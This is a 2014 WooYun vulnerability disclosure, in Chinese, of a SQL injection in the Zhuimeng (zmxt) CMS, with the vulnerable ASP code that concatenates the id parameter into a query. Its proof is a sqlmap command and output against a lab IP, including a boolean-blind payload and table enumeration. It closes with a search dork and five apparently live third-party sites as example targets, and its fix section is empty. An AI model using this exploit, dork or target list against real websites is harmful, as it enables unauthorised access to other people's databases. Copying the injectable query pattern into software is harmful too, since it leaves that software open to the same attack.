当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078455

漏洞标题:通用型企业建站程序之追梦CMS注入5

相关厂商:zmxt企业建站系统

漏洞作者: ra0mb1er

提交时间:2014-10-13 15:20

修复时间:2015-01-11 15:22

公开时间:2015-01-11 15:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

啪啪啪

详细说明:

Inc/infocontent.asp 文件1-20

<% 
id=request.QueryString("id")
Set rsnews=Server.CreateObject("ADODB.RecordSet")
sql="select * from news where id="&id
rsnews.Open sql,conn,1,1
title=rsnews("title")
id=rsnews("id")
content=UBBCode(rsnews("content"))
zdfy=rsnews("zdfy")
adddate=rsnews("AddDate")
user=rsnews("user")
laiyuan=rsnews("ly")
newkey=rsnews("newkey")
newms=rsnews("newms")
bfnr=rsnews("bfnr")
zmone=rsnews("zmone")
if rsnews.eof and rsnews.bof then
Response.Write("<script language=javascript> alert('信息内容已被删除!');window.location.replace('index.asp');</script>")
end if
%>


showinfo/index.asp

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<!--#include file="../Inc/sub.asp" -->
<!--#include file="../Inc/infocontent.asp" -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

漏洞证明:

xzcontent.jpg


J:\sqlmap>python sqlmap.py -u "http://192.168.56.130:8081/showinfo/?id=1" --tabl
es --dbms=access
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:06:33
[14:06:33] [INFO] testing connection to the target URL
[14:06:33] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[14:06:34] [INFO] target URL is stable
[14:06:34] [INFO] testing if GET parameter 'id' is dynamic
[14:06:34] [INFO] confirming that GET parameter 'id' is dynamic
[14:06:34] [INFO] GET parameter 'id' is dynamic
[14:06:34] [WARNING] reflective value(s) found and filtering out
[14:06:34] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable
[14:06:34] [INFO] testing for SQL injection on GET parameter 'id'
do you want to include all tests for 'Microsoft Access' extending provided level
(1) and risk (1)? [Y/n]
[14:06:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:06:36] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHER
E or HAVING clause' injectable
[14:06:36] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:06:36] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[14:06:36] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[14:06:37] [INFO] target URL appears to have 1 column in query
[14:06:37] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 21 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 4783=4783
---
[14:06:39] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[14:06:39] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[14:06:39] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[14:06:39] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[14:06:39] [INFO] retrieved: 58
[14:06:40] [INFO] retrieved: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
[14:06:42] [INFO] resumed: ad
Database: Microsoft_Access_masterdb
[1 table]
+----+
| ad |
+----+
[14:06:42] [INFO] fetched data logged to text files under 'C:\Users\c\.sqlmap\ou
tput\192.168.56.130'
[*] shutting down at 14:06:42
J:\sqlmap>
示例网站
inurl:"al.asp?pone"
http://www.ahgzc.com/
http://www.qqlqq.com/
http://www.it8088.com/
http://www.whhnt.com
http://www.hyzlch.com/

修复方案:

版权声明:转载请注明来源 ra0mb1er@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝